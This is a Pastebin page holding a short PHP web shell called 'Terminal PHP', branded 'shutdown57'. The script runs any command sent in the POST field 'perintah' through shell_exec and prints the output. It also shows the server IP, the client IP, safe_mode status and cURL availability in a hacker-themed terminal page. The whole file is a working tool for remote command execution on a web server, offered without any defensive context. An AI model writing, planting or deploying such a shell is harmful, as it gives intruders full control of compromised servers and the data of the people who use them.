Advertisement
alin_tamvanz

Terminal PHP

Mar 5th, 2016
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.74 KB | None | 0 0
  1. <?php
  2.  
  3. $s57_command = $_POST['perintah'];
  4. $s57_run_cmd = shell_exec($s57_command);
  5. $s57_user = "shutdown57";
  6. $s57_loc = "root";
  7. if(ini_get('safe_mode')){
  8.     $s57_sm = "<font color=\"green\"> safe mode On </font>";}else{
  9.         $s57_sm ="<font color=\"red\"> safe mode Off</font>";}
  10.  
  11. if(curl_init()){
  12.     $s57_curl = "<font color=\"green\"> cURL on </font>";
  13. }else{
  14.     echo"<font color=\"red\"> cURL off</font>";
  15. }
  16. $s57_ip_ser = gethostbyname($_SERVER['HTTP_HOST']);
  17. $s57_ip_cli = $_SERVER['REMOTE_ADDR'];
  18.  
  19. echo"
  20. <!DOCTYPE HTML>
  21. <html lang=\"en\">
  22. <head>
  23. <title> Terminal PHP </title>
  24. </head>
  25. <body>
  26. <pre><font color=\"yellow\">
  27.  
  28.     __ __ /\//    __          __      __                    ___________
  29.  __/ // ///\/____/ /_  __  __/ /_____/ /___ _      ______  / ____/__  /
  30. /_  _  __/ / ___/ __ \/ / / / __/ __  / __ \ | /| / / __ \/___ \   / /
  31. /_  _  __/ (__  ) / / / /_/ / /_/ /_/ / /_/ / |/ |/ / / / /___/ /  / /  
  32. /_//_/   /____/_/ /_/\__,_/\__/\__,_/\____/|__/|__/_/ /_/_____/  /_/  
  33.  
  34. </font>
  35. +=================================================+
  36. Tanggal : ".date('d;m;Y')."
  37. User.   : ".$s57_user."
  38. Location: ".$s57_loc."
  39. --------------------------------------------------
  40. ".$s57_ip_ser."||".$s57_sm."||".$s57_curl."||".$s57_ip_cli."
  41. +=================================================+
  42. </pre>
  43. <form method=\"post\">
  44. ".$s57_loc."@".$s57_user."~#:<input type=\"text\" name=\"perintah\" value=\"uname\">
  45. </body>
  46. </html>
  47. <style type=\"text/css\">
  48. body{
  49.     background:#000;
  50.     color:#81ff00;
  51.     text-align:left;
  52. }
  53. input[type=\"text\"]{
  54.     color:#ff0000;
  55.     background:#000;
  56.     border:0;
  57.     width:300px;
  58.    
  59. }
  60. </style>";
  61. if(isset($_POST['perintah'])){
  62.     echo"<br> ".$s57_loc."@".$s57_user."~#: <font color=\"red\">".$s57_run_cmd."</font>";
  63. }
  64. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement